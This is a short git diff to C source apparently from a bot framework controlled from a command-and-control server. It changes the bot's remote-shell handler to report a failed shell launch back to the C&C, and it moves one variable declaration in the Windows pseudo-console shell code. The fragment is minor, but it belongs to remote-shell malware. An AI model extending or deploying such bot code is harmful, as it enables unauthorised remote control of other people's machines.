diff --git a/bot/src/shell.c b/bot/src/shell.c
index 3b68a1b..e8abd93 100644
--- a/bot/src/shell.c
+++ b/bot/src/shell.c
@@ -20,8 +20,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
     laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
     laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
 
-    /* open shell */
-    bot->shell = laikaB_newShell(bot, cols, rows);
+    /* open shell & if we failed, tell cnc */
+    if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL)
+        laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
 }
 
 void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
diff --git a/bot/win/winshell.c b/bot/win/winshell.c
index 1abf7d2..af541cb 100644
--- a/bot/win/winshell.c
+++ b/bot/win/winshell.c
@@ -79,9 +79,9 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
 
 
 struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
-    HRESULT hr;
     TCHAR szComspec[MAX_PATH];
     struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
+    HRESULT hr;
 
     ZeroMemory(shell, sizeof(struct sLaika_shell));